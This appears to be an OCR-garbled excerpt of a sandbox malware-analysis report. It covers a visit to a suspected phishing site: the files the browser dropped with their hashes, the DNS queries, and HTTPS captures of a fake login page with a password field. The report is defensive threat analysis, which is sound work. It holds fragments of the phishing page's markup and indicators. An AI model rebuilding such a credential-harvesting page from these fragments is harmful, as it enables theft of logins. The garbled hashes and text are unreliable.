warning:#ffc107;--danger:#dc3545;--light:#8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576 px;--breakpoint-md: 768px;--breakpoint-1g:992px;--breakpoint-
x1:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe Ul",Roboto,"Helvetica Neue" Arial,sans-serif,"Apple Color Emoji*,"Segoe Ul Emoji*,"Segoe

Ul Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}h
tmi{font-family:sans

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\CS6I1XJW6\bootstrap.min[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 48944

Entropy (8bit):  5.272507874206726

Encrypted: false

SSDEEP: 768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf411B:9VIRu053XiwWTvI1B
MD5: 14D449EB8876FA55E1EF3C2CC52B0C17

SHAL: A9545831803B1359CFEED47E3B4D6BAE6GSE40E99

SHA-256: E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DEOED167299B01B
SHA-512: 00D9069B9BD29ADODAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFCA4751857F991F2FAFB3D2572FD97FCAG51BA0C2B0255530209B182F2
Malicious: false

Reputation: low

Preview:

[*!. * Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under
MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),requir
i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),0bject.defineProperty(t,i.key,i)}}function s(t,e,n)
{return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.pro
totype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default") ?e.default:e,n=n&&n.hasOwnProp
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\CS61XJW6\favicon[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 19288

Entropy (8bit):  5.736039178655562

Encrypted: false

SSDEEP: 384:Xdk0fHWUnquK2AgQKEA4f5AXVOUEVNd1DUY9jz7CbLYK+SQ7:Xdk0fxnquvgBKkKA

MDS5: BO9FFDF5A357DE6B94D842FFC758EF4F6

SHA1L: 28D2B46E9F69EF6ES59E5FAF753BFFAS5639F04A0

SHA-256: AB511F77258A32C8D8C4769CD2695EAABI70D72ECF869186C287B516093BA33E

SHA-512: 04F3B9D3789375E5888F50BB5016D611656DCD066CC928DDCIAEA5EDO1IEC7C8611DFIA9CC3BCOCEFCI1EF4A645CD7825FE76BC8B12AD49BF0200DC6CFAAC
DB6

Malicious: false

Reputation: low

Preview:

..<!doctype html>..<html lang="en">..<head>.. <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script
type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. ~<script type="text/JavaScript" src="https://code.jquery.com/jquery-3.3.1.js" in
tegrity="sha256-2Kok7MbOyxpgUVVAk/HJ2jigOSY S2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. Required meta tags -->.. <meta charset="utf-8">..
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. Bootstrap CSS -->..  <link rel="stylesheet" href="https://maxcdn.bootstra
pcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1laoWXA+058RXPxPg6fy4IWvTNhOE263XmFcJISAWiIGgFAW/dAIS6IXm" crossori
gin="anonymous">.. <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">.. .. <link rel="stylesheet" href="https://u
se.fontawesome.c

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\jquery-3.3.1[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text

Category: dropped

Size (bytes): 271751

Entropy (8bit):  5.0685414131801165

Encrypted: false

SSDEEP: 6144:+tah6/K+TCtIMhTze/RZcYmDizK8dB7alFys/WL/umH4NOIPfKuSAA11vrlY:9pZcYmDcHwWFygmY1PfjAA1Br3
MD5: 6A07DA9FAE934BAF3F749E876BBFDD96

SHA1L: 46A436EBA01C79ACDB225757ED80BF54BAD6416B

SHA-256: D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9ABSAEOF7F36EGEEELIFAD

SHA-512: E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BES81A4660065B6FC7B5EC20C4A044E
Malicious: false

Reputation: low

Preview:

/*1. * jQuery JavaScript Library v3.3.1. * https://jquery.com/. *. * Includes Sizzle.js. * https://sizzlejs.com/. *. * Copyright JS Foundation and other contributors. * Released un
der the MIT license. * https://jquery.org/license. *. * Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof modu
le.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper ‘window...// is present, execute the factory and get jQuery....// For enviro
nments that do not have a “‘window" with a “document’...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real

‘window'....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w )

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\CS6I1XJW6\jquery.min[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 85578

Entropy (8bit):  5.366055229017455

Encrypted: false

SSDEEP: 1536:EYE1JV0iB9JqZdXXe2pD3PgoliulrtUndZ6a4tfOR7WpfWBZ2BJdadw9W3qG9a986:v4J+OIfOhWppCW6G9a98Hr2

MD5: 2F6B11A7E914718E0290410E85366FE9

SHAL: 69BB69E25CA7D5EF0935317584E6153F3FDIA8SC

SHA-256: 05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E

SHA-512: 0D40BCCAAS59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514|
B

Malicious: false

Reputation: low

Preview:

/*1'jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?
b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document”);return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b)
{var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,|={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},0=/"[\s\uF
EFF\XA0]+|\s\uUFEFF\xA0]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:func
tion(){return e.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:e.call(this)} pushStack:function(a){var b=n.merge(this.constructor(),a);return
b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OROWKIO1\bootstrap.min[1].css

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OROWKIO1\bootstrap.min[1].css

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

ASCII text, with very long lines

dropped

121200

5.0982146191887106

false
768:Vy3Gxw/Vc/QWIIxtQOIuiHIg5mzI4X80AduFKbv2ctg2Bd8JP7ecQVVH1FS:nw/alfluiHigsmN8IDbNmPbh
EC3BB52A00E176A7181D454DFFAEA219

6527D8BF3E1E9368BAB8C7B60F56BCO1FA3AFD68
F75E846CC83BD11432F4B1E21A45F31BC85283D11D372F7B19ACCD1BF6A2635C

E8C5DAFO01EAEG8SED7C1E277A6E544C7AD108A0FA877FB531D6D9F2210769B7DA8SE4E002C7BOBE3B72154EBF7CBF01A795C8342CE2DAD368BD6351E956195F
8B

false

low

/*1. * Bootstrap v3.3.7 (http://getbootstrap.com). * Copyright 2011-2016 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). *//*!
normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust: 100%;-ms-text-size-adjust:100%}body{margin:
Olarticle,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align
:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr|titie]{border-bottom: 1px
dotted}b,strong{font-weight:700}dfn{font-style:italicth1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ffO}small{font-size:80%}sub,sup{position:relative;font-
size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}igure{margin:1em 40px}hr

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\font-awesome.min[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines

dropped

31000

4.746143404849733

false

384:wHUS5yWeTUKW+KIkJ5de2UYDyViwY Uas2I8yQ/8dwmaU8G:wwir+KIk3Yi+fwYUf2I8yQ/e9vf
269550530CC127B6AA5A35925A7DE6CE
512C7D79033E3028A9BE61B540CF1A6870C896F8
799AEB25CC0373FDEEOE1B1DB7AD6C2F6A0E058DFADAA3379689F583213190BD

49FAE24E55FA924F AABAD7DEBESFFB2E26D439E 25696 DF6B6F20E 7F766B50EAS8EC3DBD61B6305A1ACACD2C80E6E659ACCEEA140F885B9CIE71008E9001FB
F4B

false

low

/¥1.* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License).
*/@font-face{font-family:'FontAwesome';src:url("../fonts/fontawesome-webfont.eot?v=4.7.0");src:url("../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0") format('embedded-
opentype'),url(../fonts/fontawesome-webfont.woff2?v=4.7.0") format(‘woff2'),url("../fonts/fontawesome-webfont.woff?v=4.7.0") format(‘woff’),url("../fonts/fontawesome-web
font.ttf?v=4.7.0") format(‘truetype"),url(’../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular’) format('svg’);font-weight:normal;font-style:normal}.fa{display:inline-
block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-Ig{
font-size:1.33333333em;line-height:.75em;vertical-align:-15%j}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fwiwidth:1.

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\hover[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
dropped

19288

5.736039178655562

false
384:XdkOfHWunquk2AgQKEA4f5AXVOUEVNd1DUY9jz7CbLYK+SQ7:Xdk0fxnquvgBKKKA
BOFFDF5A357DE6B94D842FFC758EF4F6
28D2B46E9F69EF6ES59E5FAF753BFFAS5639F04A0
A8511F77258A32C8D8C4769CD2695EAABI70D72ECF869186C287B516093BA33E

04F3B9D3789375E5888F50BB5016D611656DCD066CC928DDCIAE45EDO1EC7C8611DFIA9CC3BCOCEFC91EF4A645CD7825FE76BC8B12AD49BF0200DC6CF4AC
DB6

false

low

..<!doctype html>..<html lang="en">..<head>.. <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script
type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. ~ <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.3.1.js" in
tegrity="sha256-2Kok7MbOyxpgUVVAk/HJ2jigOSY S2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. Required meta tags -->.. <meta charset="utf-8">..
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. Bootstrap CSS -->..  <link rel="stylesheet" href="https://maxcdn.bootstra
pcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNhOE263XmFcJISAWIGgFAW/dAIS6IXm" crossori
gin="anonymous">.. <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">.. .. <link rel="stylesheet" href="https://u
se.fontawesome.c

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OROWKIO1\popper.min[1].js

Process:

File Type:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OROWKIO1\popper.min[1].js

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

19188

5.212814407014048

false

384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zbaxGmilfaf7gxQvVU7eziv+cSjknZ3f

70D3FDA195602FE8B75E0097EED74DDE

C3B977AA4B8DFB69D651E07015031D385DED964B

A52F7AA54D7BCAAFAO056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FFOD66
51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D1:
false

low

/*. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. */(function(e,t){'object'==typeof ex
ports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'
[object Function]'==={}.toString.call(e)}unction t(e,t){if(1'==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:0}function o(e){return'HTML'===e.nodeName?
e:e.parentNode||e.host}function n(e){if('e)return document.body;switch(e.nodeName){case'HTML"case'BODY".return e.ownerDocument.body;case'#document'return e.b
ody;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p) ?e:n(o(e))Hunction r(e){var o=e&&e.offsetParent,i=0&&o.nodeName;return i&&'BOD
Y'1==i&&'HTML"I==i?-11==['TD', TABLE'].indexOf(0.nodeName)&& static'===t(0, 'position) ?r(0):0:e?e.ownerDocument.documentElement:document.documentEleme
nt}unctio

C:\Users\luser\AppData\Local\Temp\~DF4A5B42F49DAEA5B5.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

13029

0.4766910114672919

false

24:c91Lh9ILh9IINYIIN9IoA9I0Q9IWYar1Ws:kBgol 7dYarlWs
F6A379A1EE96A3200F393210A6E1FC6C
960AC34C9BE042BCEBFAEEFD2FC2B7CDO036F2FC6
02A2942112F201276517F7DE9B4FE837ADCOF7F9E761808FEE3D8425C588C6CC
CDA1250D5467B2BA453F26B86EIDC566CAED791187FDB5C880281E8A9B17ACD4DB1A54FD5SEC0833CDB8C3B111904766C7F8F896560FBE36F58B16A37CF130A

............................. 50 H MY H.01(coeeeeccreeeees eeeeeeeeseeeeeeeeeeeeeceeseeseeeeseeeeeeees 0 H M Y0 (oo oo eeeeeeee e e eees oo

C:\Users\user\AppData\Local\Temp\~DF73A79B2C118C91ED.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

44393

0.6839878977628011

false
96:kBOXKAUVSCS+EilZCdsBIGHEpCqlug/GOPUPXm3uBHP:kBgoxKAUqR+EilZCdzTgjfPh
711847F8FE1231319893DAED794B7632
24F483EC8F5552A62805AFBF507123D493FE72B5
0397765187C5730E85430CFF2DAGCC7AC939851B14CB44052719A456243845A0
91A8A5C80BIFBBF7D3F775D9557E266C5787901B90F3F6853FEOD3ED064573D6BC5A44C944FF93BOCCA277ED00088B4339684FBE07AEG881C59151781C1C906¢
false

low

............................. Y H MY .00 (oo oo 0 H MY .01 (oo oo eeeee e eeeseeese s

C:\Users\user\AppData\Local\Temp\~DF877185711B87A515.TMP

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\internet explorer\iexplore.exe
data

dropped

25441

0.27918767598683664

false
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C:\Users\user\AppData\Local\Temp\~DF877185711B87A515.TMP

SSDEEP: 24:c9ILh9ILh9IINOIINAIRX/9IRJIOITHIIThIISSUIISSUIlaAa/9laA:kBgoxxJhHWSVSEab

MDS5: ABB89A32ABIACD33E816C2422337C69A

SHA1L: 1190C6B34DED2D295827C2A88310D10A8B90B59B

SHA-256: 4D6EC54B8D244E63BOF04FBE2B97402A3DF722560AD12F218665BA440FACEFDA

SHA-512: BD250855747BBACEC61814D0E44F810156D390E3E9F120A12935EFDF80ACA33C4777AD66257CCA4E4003FEF0741692894980B9298F01C4CDD2D8A9C7BB522FB
Malicious: false

Reputation: low

Preview:

Static File Info

No static file info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 15, 2021 16:28:02.794740915 CEST 192.168.2.4 8.8.8.8 0x9213 Standard query  ranko23.web.app A (IP address) IN (0x0001)
(0)

Sep 15, 2021 16:28:03.149198055 CEST 192.168.2.4 8.8.8.8 0x196¢ Standard query  code.jquery.com A (IP address) IN (0x0001)
(0)

Sep 15, 2021 16:28:03.178273916 CEST 192.168.2.4 8.8.8.8 Oxbf1f Standard query  maxcdn.boo A (IP address) IN (0x0001)
0) tstrapcdn.com

Sep 15, 2021 16:28:03.271162033 CEST 192.168.2.4 8.8.8.8 Oxch56 Standard query  use.fontaw A (IP address) IN (0x0001)
0) esome.com

Sep 15, 2021 16:28:03.279908895 CEST 192.168.2.4 8.8.8.8 Ox1e0d Standard query  cdnjs.clou A (IP address) IN (0x0001)
0) dflare.com

Sep 15, 2021 16:28:03.295638084 CEST 192.168.2.4 8.8.8.8 Oxae93 Standard query  stackpath. A (IP address) IN (0x0001)
0) bootstrapc

dn.com

Sep 15, 2021 16:28:04.623414040 CEST 192.168.2.4 8.8.8.8 0x5f87 Standard query  www.google.com A (IP address) IN (0x0001)
0

Sep 15, 2021 16:28:20.000174046 CEST 192.168.2.4 8.8.8.8 Ox3alc Standard query  ranko23.web.app A (IP address) IN (0x0001)
0

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 15, 2021 8.8.8.8 192.168.2.4 0x9213 No error (0) ranko23.we 199.36.158.100 A (IP address)  IN (0x0001)

16:28:02.819628954 b.app

CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 0x196¢ No error (0) code.jgquery.com cds.s5x3j6q5.hwcdn.net CNAME IN (0x0001)

16:28:03.178631067 (Canonical

CEST name)

Sep 15, 2021 8.8.8.8 192.168.2.4 Oxbf1f No error (0) maxcdn.boo 104.18.10.207 A (IP address)  IN (0x0001)

16:28:03.206105947 tstrapcdn.com

CEST

Copyright Joe Security LLC 2021 Page 16 of 51



Timestamp Source IP Dest IP

Trans ID

Sep 15, 2021 8.8.8.8 192.168.2.4 Oxbf1f

16:28:03.206105947
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 0xch56

16:28:03.300367117
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 Ox1e0d

16:28:03.316066980
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 Ox1e0d

16:28:03.316066980
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 Oxae93

16:28:03.335709095
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 Oxae93

16:28:03.335709095
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 0x5f87

16:28:04.652137041
CEST

Sep 15, 2021 8.8.8.8 192.168.2.4 Ox3alc

16:28:20.027208090
CEST

HTTP Request Dependency Graph

e ranko23.web.app

e https:
e maxcdn.bootstrapcdn.com
e cdnjs.cloudflare.com
o stackpath.bootstrapcdn.com
e www.google.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 0

2021-09-15 14:28:03 UTC 0

2021-09-15 14:28:03 UTC 0

Copyright Joe Security LLC 2021

Source Port
49769

Direction
ouT

Reply Code Name CName Address

No error (0) maxcdn.boo 104.18.11.207
tstrapcdn.com

No error (0) use.fontaw use.fontawesome.com.cd
esome.com n.cloudflare.net

No error (0) cdnjs.clou 104.16.19.94
dflare.com

No error (0) cdnjs.clou 104.16.18.94
dflare.com

No error (0) stackpath. 104.18.10.207
bootstrapc
dn.com

No error (0) stackpath. 104.18.11.207
bootstrapc
dn.com

No error (0) www.google 172.217.168.36
.com

No error (0) ranko23.we 199.36.158.100
b.app

Destination IP  Destination Port Process

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

199.36.158.100 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /miajarantarankaran.html HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ranko23.web.app

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 19288

Cache-Control: max-age=3600

Content-Type: text/html; charset=utf-8

Etag: "0edf988fd81418c81589846d9281aa9c0chafc57ea3da786d3f60ece4f5h45d9"
Last-Modified: Wed, 15 Sep 2021 12:10:19 GMT

Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes

Date: Wed, 15 Sep 2021 14:28:03 GMT

X-Served-By: cache-fral9123-FRA

X-Cache: HIT

X-Cache-Hits: 1

X-Timer: S1631716083.052557,VS0,VEL

Vary: x-fh-requested-host, accept-encoding

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Data Raw: 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0d
0Oa 3c 68 65 61 64 3e 0d 0a 20 20 20 3¢ 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69
7074222073 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61
78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72
69 70 74 3e 0d 0a 20 20 20 20 3¢ 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69 70 74
222073 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e

31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e

Data Ascii: <!doctype html><html lang="en"><head> <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax
llibs/jquery/2.2.4/jquery.min.js"></script> <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js">

</script>
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 2 IN Data Raw: 32 31 2d 34 38 65 35 2d 61 30 32 61 2d 38 64 65 65 64 39 61 34 34 33 32 35 22 3e 0d 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61
7365 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 64 65 6¢ 6¢ 63 73 73 66 69 6C 65
2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 3f 61 6¢ 74 3d 6d
65 64 69 61 26 74 6f 6b 65 6e 3d 65 36 66 31 39 63 65 37 2d 61 39 63 61 2d 34 35 37 65 2d 38 30 64 66 2d 30 66 34 38
323334 31326164 3522 3e 0d 0a 0d 0a 20 20 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73
22 3e 0d 0a 20 20 20 20 20 20 2e 6¢ 6f 67 69 6e 2d 66 6f
Data Ascii: 21-48e5-a02a-8deed9a44325"> <link rel="stylesheet" href="https://firebasestorage.googleapis.com/v0/b/dell
cssfile.appspot.com/o/font-awesome.min.css?alt=media&token=e6f19ce7-a9ca-457e-80df-0f4823412ad5"> <style ty
pe="text/css"> .login-fo

2021-09-15 14:28:03 UTC 3 IN Data Raw: 78 3b 0d Oa 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 0d Oa 20 20
2020 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20
2d 31 31 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0Oa 20 20 20 20 20 20 7d 0d Oa 20
20 20 20 20 20 0d 0Oa 0d 0a 0d Oa 0d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20
3c 62 6f 64 79 20 64 61 74 61 2d 67 72 2d 63 2d 73 2d 6¢ 6f 61 64 65 64 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c
70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 20 20 20 20 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d Oa 0d Oa 0d Oa 0d Oa 20
20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 69 6e 2d
Data Ascii: X; background: #7{7{7; position: relative; top: -11px; z-index: 1;  } </style> </head
> <body data-gr-c-s-loaded="true"> <p>&nbsp;</p> <p>&nbsp;</p> <div class="login-

2021-09-15 14:28:03 UTC 4 IN Data Raw: 6¢ 6f 63 6b 22 3e 3¢ 2f 69 3e 3c 2f 73 70 61 6e 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75
742074797065 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6¢ 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 22 20 69
643d 22 70 72 22 20 6e 61 6d 65 3d 22 70 64 66 32 22 20 70 6c 61 63 65 68 6f 6¢ 64 65 72 3d 22 50 61 73 73 77 6f 72 64
222072 65717569 726564 3d 227265717569 72 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Oa 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64
64 65 6e 22 20 6e 61 6d 65 3d 22 70 64 66 31 22 20 73 69 7a 65
Data Ascii: lock"></i></span> <input type="password" class="form-control" id="pr" name="pdf2" placeholder="Pa
ssword" required="required"> </div> </div> <div class="form-group"> <input type="hidden"
name="pdf1" size

